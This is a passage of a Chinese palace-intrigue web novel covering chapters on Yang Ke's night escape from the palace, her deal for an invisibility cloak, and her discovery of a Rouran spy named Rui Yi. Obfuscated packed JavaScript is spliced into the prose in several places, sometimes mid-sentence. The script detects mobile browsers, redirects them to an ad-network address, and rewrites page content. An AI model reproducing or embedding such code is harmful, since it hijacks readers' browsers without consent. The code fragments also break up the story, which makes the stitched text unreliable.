l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207051|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没想到她竟以为是我恶意出手。” 章可馨立刻回嘴:“杨柯,你别歪曲……” “你就是杨柯?”宇文泰听到她的话中的名字眼眸一亮,目示其噤声。 杨柯道:“回殿下,臣是杨柯。” 风吹过,他的袍子被轻轻扯动,眉眼也落着冷意:“原来你就是李太傅的关门弟子,没想到师父竟会收个乡野丫头。” 他口中的李太傅便是李元。宇文拓与宇文泰是宫中年纪最长的两位皇子,也是李元卸职前唯二教过的学生。 杨柯压着怒气道:“若按殿下所说,师父也教出了您这等刻薄之人。看来咱们还真是‘同宗同门’。” “呵,倒是伶牙俐齿。”宇文拓抢先开口,身上的紫金长袍流光溢彩,他转头瞧了宇文泰一眼,突然看好戏一般笑了,“二弟,这女人还挺有趣,不仅打了可馨,还有胆子来冒犯你。” 宇文泰并未发怒,语气满是闲散:“无知者无畏,也不知道师父从哪里找来的徒弟。” 杨柯道:“臣确实无知,但也懂得尊师重道,不会像某些人,学了满腹经纶,却用来中伤同门,实在是有辱师门。” 宇文泰这才凝眸细看起她来,良久后启唇道:“你所谓的尊师重道,难道就是口出狂言,目中无人,在外败坏师父的名声?”嘴角扯出一个冷笑,“中伤同门?我宇文泰行事向来光明正大,从不背后伤人。” 杨柯揶揄道:“口出狂言、目中无人的好像是殿下您吧?不过您最好行事磊落,也断然不会效仿那些仗势欺人、以权压人之辈。” 她的语气逐渐加重,宇文泰神情倨傲地凝视着她,杨柯也毫无畏惧地回视,两人便这样僵持着。 乐白赶紧解围:“阿柯她们年纪尚小,露出些童稚心性也是正常,倒是给咱们这冷清的宫里带来不少乐趣,前几日宸妃娘娘还在跟我说,宫里太安静没生气呢。” 宇文拓把玩着手里的珠串,摇着头,颇为惋惜地说:“纪夫子,我看这种事最好还是惩戒一下,不然天下人都以为皇宫是随便来往的地方。” 乐白急道:“大哥,她们素来规矩得很,惩戒还是算了吧。若是严加管教,恐怕坊间会议论皇家。” 宇文拓挑起眉毛,问向宇文泰:“二弟认为,该如何是好呢?” “乐白的顾虑不无道理。但是皇家威严不可妄议,”宇文泰特意停顿了一瞬,对着杨柯漠然一瞥,“念在二人初犯,就劳烦纪夫子费心教育了。”说完,视线落到云昌吉身上,“昌吉,你随我回武华殿去吧。” “是!”云昌吉也向纪启明行礼,又趁机冲乐白三人使了个眼色,颠儿颠儿地跟着宇文泰走远。 “快起来吧,阿柯,可馨,我不管你们之间到底有何冲突,但若此事再次发生,”纪启明停了停,略了一眼她俩的神色,“你们都是聪慧机敏之人,我想不必为师赘言。”虽然仍在责怪,但语气已经缓和了很多。 二人齐声应道:“多谢夫子!” 待他们全都离开,杨柯支起身子站了起来,跪了这么久,下半身早已腿软筋麻。还不等她站稳,忽听身侧传来一声娇怒:“杨柯,今天的事你不要以为就此罢了,从今往后,有我在,就没你的好日子!”章可馨说完便扶着头上的鸟窝悻悻离开。 “以后小心点!”刘悦也叫嚣一声,接着跟在她屁股后面走远了。 杨柯没力气再去同她们争嘴上的输赢,脑子里思忱着另一件要事。 乐白望着二人远去的方向忿忿道:“章可馨和刘悦属实可恶!” 杨柯安慰道:“少跟她们接触就是。今日这么一闹,想来她们以后也不会多嚣张。” 乐白听言点头:“说得有道理。” 杨柯为了让她放心,虽嘴上这么说,但心中实在忿恨。自己无拘无束地长大,进宫以后竟屡屡碰壁受缚,何况这日子还有三年!脑子里只有一个声音:必须要逃! 可是,光凭自己的力量何以撼动这一整座皇宫?她脑中突然闪过“逍遥居”三个字。那晚侠客留下的玉佩不就是个机会?即使其中有诈,也要去试一试。 宇文泰冷漠的眼神又跳进了她的脑海里。那样的眼神,绝不可能出自同一人。她心中更加坚定了,为了以后的日子好过些,一定要去逍遥居。 7. 林骞 第二日,天色渐暗,杨柯换上一身黑衣,往宫门的方向去。 她依着云昌吉描述的禁军排布细节,躲开了守夜侍卫的视线,顺利抵达了最后一道宫门。此处由羽林卫严密看守,纵使有了昌吉的情报网也无能为力。她伏在房檐边缘,正准备趁着对面的羽林卫转身的间隙,一鼓作气攀至宫墙顶上去,可刚迈出脚步,鞋底与砖瓦一擦,“嘎吱!” 那羽林卫瞬间警觉,手中长枪一横,厉声喝道:“何人在此!” 杨柯心中暗叫不好,转身拔腿就跑,一跃飞过了方才的宫墙,将那羽林卫挡在了墙对面。 还好没叫他逮住,杨柯正暗自庆幸着,忽然耳边乍现“嗖、嗖、嗖” 三道尖锐声响,速度快得几乎只能捕捉到残影,定睛一看,竟是三道飞镖! 她喉头一紧,不禁叹道:“好生强劲的内力。”镖身擦过她脸上的皮肉,火辣辣地疼。这飞镖的落点绝非偶然,来人显然并非因为技艺不精而失准,恰恰相反,他能以内力控制飞镖行迹,在她疾速奔逃之际,让镖身以毫厘之差擦过她的耳际,分明是在向她发出警告。 看来这次仅凭轻功并不能轻易摆脱,今晚要出这个宫门是不能善了了。 杨柯瞅准了个位置隐蔽的角落,脚下步伐猛地一收,迅速回身,望向来人。 果然是高手,就在她脚步放缓之余,来人已预判了她的走势,稳稳立于几步之外。 此人一袭白衣,立于月光之下,竟让杨柯想到“琼姿皎皎,玉影翩翩”八字,心里不禁暗叹,宫中真是藏龙卧虎,竟有如此天人之姿。 “大人,小女并不知您是什么身份,但还请您网开一面。”杨柯说话之时特意冲着对方斯斯文文地作了一缉,“我不过是想出去透个气,并非什么作奸犯科之辈,更犯不着动用皇家如此多的人力。” 男子轻轻一笑:“若姑娘只是想透个气,何必不走大门,偏走邪道?” 杨柯无奈道:“还不是苦于宫中规矩。” 男子故作好奇:“宫里只让进,不让出么?” 见对方揣着明白装糊涂,杨柯心中不快,也不想与他多费口舌,索性直接上手。 可这人反应极快,回身一避便让她扑了个空,随即将她从身后制住。不过杨柯早已预判,迅速回身绕过。可这短短一瞬的所见,饶是让她暗叫惊为天人:此人一双褐色桃花眼,脉脉含情,点尘不染,神仪明秀,如若仙人,可眉宇间却透着一股难以言喻的忧郁。 当时的杨柯还不知道,就这一张脸,只闪这一眼,够她记一辈子。 “姑娘何须动气,有话好好说便是。”就在她为男子暗叹的短短一瞬,反而让对方趁机点住了关键穴位,无力再战。 杨柯扶着廊柱,勉强站住:“你装什么糊涂!我若能光明正大地出去,早就出去了,还……还犯得着攀墙爬屋。” 男子负手问道:“你是新进宫的伴读?”此番出行,必须赶在戍时皇宫禁行之前动身,时间紧迫,杨柯只是换了一身夜行衣,竟忘了将腰间的伴读符摘下来。 她并不多语,直截问道:“你点的穴要多久才能恢复?” 男子徐徐道:“这么着急,看来确实扰了你的兴。” “对,你就是扰了我的雅兴。快给我解封,不然今晚喝酒的时间都要被你耗光了!” “宫中女子虽爱喝酒,但极少愿意去坊间喝酒。”他眼底的琥珀微光闪着几分狡黠,“没想到杨姑娘不仅拳脚功夫一流,连举止也非同寻常。” 杨柯听懂了他话中的暗讽:“哼,拳脚功夫和大人比起来,还是差一点。” 男子笑出了声:“哦?看来真是杨姑娘,久仰大名。” 杨柯暗自懊恼,怎么就中了这家伙的圈套,这回连身份都保不住了。忽然鼻尖嗅到一缕酒香,她灵机一动,调侃对方道:“小女礼节欠佳,让大人见笑了。倒是大人您,深夜独坐于此,赏月品酒,别有一番雅致。” 男子低头看了一眼腰间挂着的酒壶,抬眸一笑,那笑容竟煞是好看:“看来杨姑娘今晚不用出去了,我这就有现成的酒。” “您的好意我心领了,不过这个宫——我是出定了!”话音还未落,便点了他的穴,转身抬腿就跑,男子虽反应过来,却为时已晚。 原来就在酒香飘来之际,杨柯身上的封印已经尽数解除,她却装作浑身无力的样子,挑起话题,让对方放松警惕,趁机封住他的穴位,来了一招“以其人之道还治其人之身”。 “今晚您就自个儿好好品酒吧,恕不奉陪!”杨柯回身冲他眨眨眼,施起轻功扬长而去。 凭着侠客留下的那句“庙后山阶左入丘,棘间石尽见云楼”,杨柯奔去了城南山神庙后,果然找到了蜿蜒石阶。抬首望去,枯松处左侧有一荆棘小径,于是便拾级而上,穿过小径,踏过三块巨石,于尽头那片幽篁深处,终于找到了逍遥居的门楣。 步入园门,修竹半掩,兰芷逸香,两三松鼠跃岩嬉于泉石畔,再往里走,一片梅林映入眼帘,杨柯看得呆了,到了初夏竟然还有成片的梅花?她正要往里走去,忽听得花林中歌声细细,走出一个青衣女子,见了杨柯被唬了一跳,旋即又恢复笑颜:“姑娘登临逍遥居,有何要事?” 杨柯被眼前美景吸引,这时才想起自己的来意,“我……我是来找人的。” “可有提前约定?” 杨柯点点头,青衣掩嘴一笑,接着抬袖引路:“姑娘这边请。” 走进了屋子,一个中年男子端坐于侧首的木案跟前,身上穿一件半新不旧的青白褂子,执笔写着什么,端的是意态从容,块然磊落。杨柯暗自心想,那侠客果真没有糊弄她,光是此人的面貌就可看出逍遥居的不俗来。 “石大哥。”青衣开口轻唤,男子从书案上抬起头来,目光棱棱,坦然自若,见了杨柯徐徐起身,“请问姑娘有何要事?” 杨柯只对着来人说:“我找你们首领。” 石大哥一脸诧异,视线转向青衣,“芳芷,怎么回事?”芳芷也摇摇头。 这时,杨柯从袖中拿出一枚玉佩,二人见了玉佩脸色一变,对视一眼,芳芷惊讶问道:“姑娘这玉佩是从哪儿来?” 她回道:“自然是从你们逍遥居来。” 石姓男子目光微凝,抬手正色道:“且随我来。” 杨柯随石大哥踏入殿中,迎面便是一幅六丈檀木屏——苍鹰破云之势铺陈在朱红漆底,鹰眼鎏金映得青铜灯穗轻晃。屏前有一男子负手而立,腰间的鹰首玉佩与杨柯手中的正是一模一样。 听到脚步声,他回过身来,杨柯绞尽脑汁地回忆着那晚侠客的模样,可却只记得宇文泰的脸,而面前这张脸与宇文泰在眉眼间倒是有五分相似。 “姑娘光临寒舍,莫非又是来比武?” 还真是他!杨柯心下赧然,时隔半年,他居然立刻认出了自己。 “公子说笑了,若论武功,就算再过半年,我也是自愧不如的。” “看来姑娘决定同逍遥居合作了?” “公子果真是爽快人。即便萍水相逢,也不会忘记许下的承诺。” 男子微微欠身:“这承诺既由我许下,便绝无食言之理。” 杨柯笑道:“太好了,费劲跑这一趟也不亏。” 听了她这句,男子朗然一笑:“姑娘特意寻来,想必是有所求了?” 对方开门见山,杨柯也不遮掩:“我的目的只有一个,倒不会花费逍遥居太多人力。” “请讲。” “很早便听闻逍遥居集齐了江湖各式奇怪兵器,不知是否藏有遁光衣?” “遁光衣?”男子眉毛一挑,“姑娘的私事林某本不应多问,可这遁光衣并非一般器件,若要借于你,并非随随便便就能答应。” “这倒是好说。我要这遁光衣,只有一件事——摆脱家中父母的控制。”知道他们心中对自己保有怀疑,杨柯装作无奈地摇了摇头,“我一个女子,武功也不高,又能做什么坏事。” 男子含笑道:“姑娘不必着急,事情好好商量总有解决的办法。”他抬手扶着下巴,“姑娘若能寻得一位江湖上德高望重之人作保,或是留下一件价值相当的信物,待你归还遁光衣时,林某便即刻奉还。如此,我也好向逍遥居上下交代,也能放心将这遁光衣借予姑娘。” 杨柯微微皱眉,心中暗自思量,德高望重之人作保谈何容易,自己从未涉足江湖,人脉有限,一时间难以找到合适人选。至于信物,她虽有些珍贵物件,可皆是父母所赠,不舍留下。但为了摆脱皇宫的控制,她又实在不愿放弃这个机会。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“据线人的消息,紫英阁内部存在敌国势力。” “不可能!”杨柯惊得站起身,“红娘与我相识数十载,她哪会窝藏间谍。” 林骞垂睫一笑:“红娘确实不会,但不妨碍她会被人利用。” 杨柯又颓丧着坐下:“这样吗……那就麻烦林兄详细告知了。” “这个组织名为影刃阁。由前任柔然王暗中创立,现在受柔然王子阿揽延控制。我们尚不清楚他们潜伏在京城的目的。如果贸然发动攻击,很可能会打草惊蛇。根据最近的线报,此人在紫英阁已经潜伏了一段时日,她的身份隐藏得极深,紫英阁上下都未曾察觉。她平日里行事低调,但每当紫英阁有朝中大臣或将领登临,事后不久,柔然那边就会有相应的行动。” 杨柯有些迟疑道:“仅仅是这样,恐怕还不足以证明她就是间谍吧。” “自然不止如此。她每隔一段时日,都会在特定的时辰独自外出,而且她外出的路线十分诡异,似乎是在刻意避开什么人。”林骞慨然摇头,“我曾派人跟踪过她,可惜,每次都被她甩掉了。” 杨柯点头喃喃道:“这件事我确实能帮上一些忙。” “你和红娘关系匪浅,自然是最好的人选。” “那林兄可有什么帮助识别的方法?若凭着感觉去寻人,恐怕有些不妥。” “这个好办。影刃阁的成员身上都有个特殊的刺青,名为‘蚀骨印’,呈三枚新月形刀刃环着蛇骨的形状,只有他们在接受杀人任务后才会浮现。” 杀人任务?看来这组织还挺危险。杨柯心里一紧,但为了自己的自由,想也没想便承诺道:“好,林兄交代的事情,一定全力以赴!” 林骞展颜一笑:“何必如此客气。” 杨柯眼眸闪过微光:“对了林兄,冒昧问一句,家中可有兄弟?” 只见他脸色稍稍一变,随即又露出了一贯的笑容:“只有我一子,小柯为何要问这个?” 杨柯抱歉地笑道:“没什么,只是前段时间见到一人,长得与林兄肖似,当时我还把他错认成了你,闹了些笑话。” 他苦笑颔首道:“世上的人千千万,长相相似的又何其多,不过是皮囊而已。” 8. 芮伊 趁着这次出宫的机会,索性一次性把所有事情都打点好,杨柯前脚刚出逍遥居,后脚便直奔紫英阁而去。 刚一踏进紫英阁大门,元英便扑了上来:“杨公子,紫英阁这几日是吹了什么风,把您给盼来了!” “哪还要风来催?有你元英在,我怎么能忍住不来?”杨柯说着捏上元英粉扑扑的脸蛋,一股花香窜进鼻腔,往日熟悉的感觉顿时涌上心头,只觉四肢百骸一阵畅快。 “杨公子还是坐老位置?”元英攀上她的肩膀,语调中又添上几分娇声嗲气,“枕流轩一直给您留着呢,前几日户部尚书家的公子来订,都让红娘给回绝了。” “红娘现下在哪逍遥呢?”杨柯一边往里走,一边搜寻着红娘的身影。 元英娇笑着应道:“正在楼上忙着呢,杨公子跟我来。” 杨柯端着元英给的盐焗杏仁,刚打开聚义厅的大门,便看见红娘伏在青玉案前,手里的算盘拨得噼啪响。 “红娘,数钱数得手抽筋了没?” “我的小祖宗,你可算来了!”红娘招手唤她过来,甩着翡翠烟杆指向二楼雅间,“我新得了个柔然宝贝,可比你上回顺走的夜光杯还稀奇,要身条儿有身条儿,要长相有长相!” 杨柯听到柔然二字,竖起了耳朵,嘴上恭维道:“看来红娘要芝麻开花节节高咯!” “多谢杨公子好言啦!芮伊一来,我紫英阁又多了不少客人,”她凑近了杨柯,压低了声音,“就连刘生刘大将军都每天光临呢!” 刘生?刘悦要是知道自己的亲爹流连于烟花之地,会不会毛都炸起来。杨柯想到那画面,忍不住笑出了声。 “你别不信,那些混沙场的最是稀客。” 见红娘一脸得意的样子,杨柯的胃口也被吊了起来:“红娘的眼光一向挑剔,这芮伊到底是什么神仙人物?快带我瞧瞧!” 红娘咯咯直笑,“急什么,今天紫英阁的压轴安排的就是她。”说着拉上杨柯往珠帘内走去,穿过重重帘帐,耳边鼓声铃声渐渐清晰,红娘在她耳边低语,“小心别被勾去了魂儿。” 顺着红娘的笑眼望去,裙翻骤雨,风荡华裀,如此美人,曾有汉武大帝为之动心。杨柯看得呆了,视线跟着倩影闪动,好似化作她纤腰上的珠链,雪足上的银铃,随着美人的动作魂摇魄乱。忽然,那羯鼓声乱了半拍,孔雀蓝织金纱下隐约闪过一道银灰色寒光,杨柯顿时警觉,眯眼紧盯住芮伊露出的那截雪色脚踝——新月蛇骨的刺青时隐时现,正是林骞说过的“蚀骨印”。 得来全不费功夫,杨柯又往嘴里送了一颗盐焗杏仁。 羯鼓声戛然而止,雷鸣般的掌声响起。芮伊微微欠身,以汉人礼节作尾。不出多时,银铃声在聚义厅里响起。 “真真是‘琉璃易碎彩云散,胡旋一转九重天’。芮伊的胡旋舞,可比京城的云鬓舞还带劲。” 杨柯回身看向芮伊。果然,美人远看和近看是不一样的:远观若月窟仙娥、雪岭狐仙,走近了才瞧见她的波斯猫儿眼,龟兹石榴唇,眉间的那颗朱砂痣,竟是用骆驼刺花汁点就的塞上胭脂。 芮伊垂眸一笑:“公子若亲眼见到柔然的宫廷乐舞,方知什么才是真正的‘胡旋一转九重天’。” “小时候去过一次柔然,可惜没福气进宫去瞧上一眼。如今见了芮伊姑娘的舞姿,也算弥补了遗憾。” 芮伊轻轻福身:“多谢杨公子美言。” 杨柯朝她嬉笑:“不过芮伊这脚铃声,倒让我想起乡下灶台上炖糊的冰糖银耳羹,叮叮咚咚怪热闹的。” 芮伊神色一凝:“公子若嫌聒噪,何不去护城河听蛙叫?那儿的动静想来正合你意。”说完,反手将玉樽带落在地。 “好姐姐这话差了!”杨柯伸手一捞,视线仍放在芮伊身上,“京城里谁不知道紫英阁的蛙最金贵?听说,上月西市有个学蛙叫的,愣是把对街郝掌柜怀里的猫眼石都骗了去。”她说着鼓起腮帮子咕呱两声,腕间月牙玉环跟着撞出清脆颤音。 芮伊被她逗笑:“紫英阁只养雀儿,可没什么蛙。” “姐姐若想听蛙叫,我给姐姐叫两声便是。” 芮伊轻声道:“若真要养蛙,我定喂它吃盐焗杏仁。”说着抬步向前,孔雀蓝披帛扫过杨柯脸颊,留下满鼻馨香,“省得被某些人拿来当暗器使。” “暗器?这分明是给姐姐的胡旋舞配乐呢!” 红娘端着金盘掀帘进来:“你们两个消停些,后厨新烤的肉饼都要被闹糊了!” “糊了正好!”杨柯念起一句柔然谚语,“有句话叫‘沙漠里追着海市蜃楼的傻骆驼’,我们这些看客啊,就是追着芮伊跑的傻骆驼。撒把安息茴香,刚好给我们补点儿口粮。” 芮伊回身一笑,指着杨柯踮起的翘头履:“公子可知柔然人管这叫‘沙狐尾’?专治话多的聒噪鬼。” “啊丘!”杨柯还没来得及回话,便被端来的香料熏得打了个喷嚏,抹着鼻子乐呵呵道:“芮伊好生幽默,哪有骆驼开口说话的?” 西域美人留下一缕轻笑,一个转身旋出珠帘,扬长而去:“公子若真见过骆驼,就该知道,它们最擅长在沙暴里藏住水源。” 红娘望向她二人,一脸狐疑地坐了下来,捻下盘里的一小块肉饼:“你们左一句右一嘴的,打什么哑谜呢?” 杨柯伸出食指点她:“这叫暗、语。” “还暗语呢!你能憋出几句柔然话来?” “好姐姐,”杨柯佯装醉态搂住红娘脖颈,“这西域美人儿借我两日可好?我府里正缺个伴舞的。” “你拿她去作伴舞?”红娘白了她一眼,“活该你长这么大还讨不着媳妇!” 杨柯饶有介事道:“红娘,今时不同往日,你可知道我进宫以后平日里接触的都是哪路神仙?” 红娘捂嘴笑道:“你还真是幽默,我红娘就算再孤陋寡闻,也不会不知什么人能进宫,什么人不能进。” 杨柯装作可惜地叹道:“这回我可是见到当年失传的霓裳羽衣曲了。” 红娘惊得挺身坐起:“霓裳羽衣曲!这曲子早就失传了几百年,怎会突然出现在宫中?” “曲子确实失传,不过是在民间。”杨柯悠然捻起茶叶,“皇宫的天书阁里藏着原曲原谱。” “此话当真?” “若有假,又如何?世人皆未见过真正的霓裳羽衣曲,你紫英阁吃头啖汤,谁有理由质疑?”杨柯将茶叶放入壶中,定定地看着红娘,“更何况我拿到的就是原曲。” 红娘脸上的怀疑渐隐,旋即又浮上一层担忧:“可是霓裳羽衣曲是宫廷禁曲,若紫英阁演了,岂不是要得罪朝廷?” “假作真时真亦假,改一改不就行了。况且芮伊不就来自柔然?让柔然人演绎霓裳羽衣曲,虽不是原曲,但胜似原曲。”杨柯抬手搭上红娘的肩膀,“到那时,何人不来你紫英阁?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207053|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红娘眼中笑意渐深,眼珠转了几道,撒娇道:“不知道杨公子给我这么好的美事,红娘要怎么报答才好。” “还是红娘会做人。今日我来找你,正是为了此事。” 红娘向来知道杨柯的脾性,没事不说,一开口便是大事,抬手便要唤元英进来:“元英啊,先带杨公子到枕流轩去。” 杨柯赶忙拉住她的手:“好姐姐,好姐姐,你听我说。” 红娘忙不迭道:“杨公子,我知道你素来帮衬紫英阁,可我红娘做人得讲究。你都愿意给我禁曲了,那我岂不是得把半个紫英阁给你?” 杨柯惊道:“姐姐如今怎地这般胆小怕事?” 红娘听了气急败坏,“你这混账东西,骂谁呢!”说完,心一横,“行,你到底想要什么?姐姐我看看能不能给你。” 杨柯见激将起了效果,笑着揽住她的肩,哄她道:“红娘,一个霓裳羽衣曲算得了什么?只要我在宫中,就能给紫英阁带来最好的歌曲。我这边呢,只需麻烦红娘帮我注意个人。” 红娘听完倒也不急了:“我这紫英阁里每日来往的人多达千数,杨公子要什么人没有?” 杨柯哈哈一笑:“那就好。其实也不必劳烦红娘,因为这人我已经找到了。” 红娘奇道:“何人呐?” “不是别人,就是芮伊。” 红娘瞪大了眼睛:“芮伊?!” 杨柯悄声道:“她的身份特别,或许她来京城,目的并不单纯。” 红娘眉头一跳:“听杨公子这话,好像不简单呐。直接说吧,你要我做什么?” “帮我留意芮伊行踪便可,尤其是在外的行径。”说完,递给红娘一封密信,“这是通信的地点,每日卯时,自会有人前来取信。若有异常,及时传信给我便是。” 到了后半夜,天蒙蒙亮,紫英阁内逐渐安静了下来,偶尔传来令人脸红的床笫之声。 一人快速踱出紫英阁,穿梭在狭窄的巷弄间。紫英阁的灯火在她身后渐渐远去,直至完全消失在视线之中。最终,她停在了街上一间普通的中药铺子前。 这家铺子门面不大,木制的招牌在夜风中轻轻摇摆,上面用正楷写着“济世堂”三个大字。 那人步入店内,目光迅速扫过四周,确认没有异常后,轻轻将斗笠的纱帘向上撩起一角,露出了半边脸庞,对着柜台后的老板微微一笑,此人正是芮伊。 “姑娘,今日想取些什么药材?”济世堂老板赵百草年近四十,一双吊眼里藏着几分精明。他见芮伊进来,随即放下手中的药杵,缓缓向她走近。 芮伊轻轻摇了摇头,压低声音道:“赵哥,公子下了任务。” 赵百草闻言,神色一凛,随即示意她跟随自己到后堂。穿过几道屏风,他们来到了一间隐秘的小室。室内烛光摇曳,墙上挂着几幅草药图谱,中央摆着一张简陋的木桌。 芮伊从袖中取出一张纸条,递给了赵百草。他接过纸条,迅速拆开。读罢,便将纸条放上蜡烛焚烧殆尽。 “姑娘放心,此事我必当尽心竭力。” 芮伊点了点头:“十日之后,送药到紫英阁便是。”言毕,她抬手轻轻理了理斗笠的纱帘,准备离开。 转身之际,她轻声道:“此事事关重大,赵先生千万小心。”话音甫落,她便如同来时一般,悄无声息地消失在了灰蒙蒙的天色之中,只留下中药铺子里那盏昏黄的灯光。 9. 少女 捻指过了三日,一个蝉鸣炸锅的晌午,杨柯哼着不成调的曲子,摇头晃脑地端着一盏冰镇过的琉璃壶走在宫道上。 昨日,她去了趟逍遥居,终于拿到了梦寐以求的遁光衣,底下还留着林骞的字条:襟角酒渍乃醉扶杨柳所致,柯若嫌弃,烦请浣洗时添两勺桃花酿,旧衣新香,聊表寸心。杨柯凑近闻了闻,一点儿异味也无,倒还有几分馨香,当即乐呵呵地披上衣服,悄悄回了趟家,而后一路从城东跑到城西,围着京城绕了一大圈,直到太阳落山才飞回皇宫。直到今日,乐呵劲儿还没消,即便日上中天,也乐意替青桃跑到内务府领取份例的冰镇酸梅汤。 这时,一个宫女正抱着一筐馊饭往永巷挪。路过冰窖时,她盯着宫人们抬出的西瓜车直咽口水。 “哟,这不是鎏芳宫的杜衡吗?”老太监陈瑞金晃着金镶玉的挖耳勺,“听说你主子最爱吃冰镇樱桃,现在地府里可没这稀罕物。”说着把半碗樱桃核泼在她裙摆上,几个小太监笑得前仰后合。 杜衡盯着粘在裙角的果核,突然抓起竹筐扣在头顶:“多谢陈公公提醒,主子吃不到,那就先孝敬孝敬您吧!”馊饭汤顺着箩筐缝滴答而下,陈瑞金见那酸水就要撒到自己身上,大声尖叫着躲开。 “反了天了!”他扯着公鸭嗓开始喊人,身后的几个公公立即将杜衡按在铜缸上,她原本白皙的脸霎时被烫的鲜红。 “住手!”杨柯把冰镇酸梅汤往铜缸上一墩,陶壶底瞬间滋滋冒白烟。 陈瑞金细长眉毛一挑:“这位可是杨姑娘?”臂间拂尘一收,打了杨柯一脸,“您可别碍着我们内务府的事儿。” “陈公公,我奉宸妃娘娘口谕收集消暑良方。”杨柯双手合拳,对着景泰宫的方向拜谢如仪,“这位姑娘的汗珠子比玉泉山的泉水还清亮,正适合做……做……冰鉴引子!” 陈瑞金的拂尘僵在半空:“这算什么典故?” “《齐民要术》都没读过?没见民间三伏天都要请‘汗娘娘’坐镇冰窖?”陈瑞金见她煞有介事的模样,狐疑不决。 这时,杨柯突然指着西瓜车惊呼:“哎呀!怎么这瓜里掺进了虫子?宸妃娘娘得生气了!”众人的视线皆被她指着的方向吸引过去,愣神间,她一脚将西瓜车踢翻,拽着杜衡抬腿就跑。 “杨姑娘……”杜衡惊呼,话音未落,身后忽而响起此起彼伏的摔跤声。 “啊呀呀!我的瓜!” “别让她们跑了!” “疼死我了!” “你踢我做甚!”方才趾高气昂的太监们前仰后伏,瘫在一地的西瓜皮上,活像是田间地头偷吃西瓜的一群猪獾。 “我娘说遇见恶狗要撒黄豆。”她朝着杜衡眨眨眼,将手里顺来的瓜递给了杜衡,“虽然西瓜贵了点,不过皇宫里好像也不缺这点儿钱。” 二人一路回了凌薇苑,青桃见杨柯身后跟着名宫女,穿着打扮并非像是寻常宫殿的,于是疑道:“姑娘,内务府专门派了人来送酸梅汤吗?” 杨柯回首看了一眼杜衡,道:“哦,她是我们凌薇苑新来的朋友,以后便是凌薇苑的人了。” 杜衡当即跪下,垂首饮泪:“奴婢不敢,还请杨姑娘慎重,奴婢只是个没主子的奴婢,受不起杨姑娘的大恩大德。” 杨柯被她这阵仗吓住:“这……这是哪里的话?你没了主子,认我当新主子不就行了?” 青桃也道:“是啊,刚好咱们凌薇苑缺人,也不用我们再去内务府跑一趟了。” 杜衡为难道:“可是适才杜衡让姑娘误了宸妃娘娘吩咐的要事。” 杨柯忍俊不禁:“你这丫头,怎么这么实在?我连宸妃娘娘的样子都没见过,哪里会误了她的事?” 见杜衡疑惑地瞧着自己,她笑着解释:“还不是为了吓唬那群混账,胡乱编的一套说辞罢了。” 杜衡这才了然,又垂眸苦笑开来。 杨柯将她扶起,问道:“你叫什么名字?从前是鎏芳宫里的人?” 杜衡点头道:“奴婢名唤杜衡,从前服侍如嫔娘娘,半月前主子走了,被发配来刷恭桶。”杨柯回想起自己入宫那日,路过鎏芳宫时一群宫女围坐在一起暗自啜泣的场景,不禁心中一酸。于是走上前执起她的手,不看倒好,一看可不得了,原本洁白无骨的双手已经粗糙得像是麻布一般,还带着些酸涩的臭味,甚至连指甲缝都腌入味了。 杨柯立即吩咐道:“青桃,快拿些金创药来!” “好嘞。” 杜衡见她们热情友善,又想起这段时日自己的遭遇,不禁泛起泪花来:“多谢杨姑娘和青桃姐姐的照拂。杜衡福薄,能遇见杨姑娘这样的好人,实在是天降大恩。” 杨柯忙摆手道:“不必谢我,我刚来宫中,也被人欺负过,最见不得仗势欺人了。” 杜衡用力揩去脸上的泪痕,扯出一个笑容:“杨姑娘心善,宫中有您这样的人在,也是修来的好福气。” “你说得我都不好意思了,”杨柯想到自己平日里不是偷奸耍滑就是游手好闲,于是感叹道,“要是我这样的人都算好的,那这皇宫里的人得差成什么样儿啊?” 青桃拿着药走过来,听言赶紧捏了杨柯一把,杨柯这才反应过来自己又说错了话。 杜衡笑了笑:“杨姑娘为人谦逊,奴婢能侍奉您,也是奴婢的福气。” 杨柯竖起食指,以示郑重:“好了,在凌薇苑里,不许自称奴婢,从今往后,你就和青桃她们一样,都是我的姐妹。” 杜衡乖乖点头:“好。”这时,杨柯才仔细瞧了瞧杜衡的样貌,看她生的眉清目秀、伶俐乖觉,忍不住夸赞:“你生得一副聪明样,我呢,又刚刚入宫。以后啊,还得靠你帮衬着我呢。” 杜衡赶紧辩解道:“奴婢……我心智尚浅,恐怕辜负了姑娘期望。杜衡入宫三年,还做不到嬷嬷们那么厉害,主子打左脸,还能微笑着把右脸奉上,如今我受了罪,也只能不吭声。” 杨柯听了顿时傻眼:“这……这算哪门子厉害?不就是受虐吗?” 杜衡叹道:“宫中下人皆是苦命之人,进宫不过是混口饭吃罢了,能得到主子的好,自然是福气,可若主子不开心了,我们也只能受着,毕竟没了主子,我们也没地方活。” “什么歪理?”她想起前几日在崇文馆外被宇文泰嫌弃的遭遇就莫名血气上涌,登时气得跳脚,“她们是人,你也是人,哪有什么高低贵贱之分?杜衡,你进了凌薇苑,就快把那些稀巴楞登的东西抛到外面去!” 下午,杨柯又跑了趟内务府,向刘公公讲了杜衡一事,顺口说了几句公公的甜话,刘公公不仅一口答应,还让她顺走了一壶冰镇梅子酿。 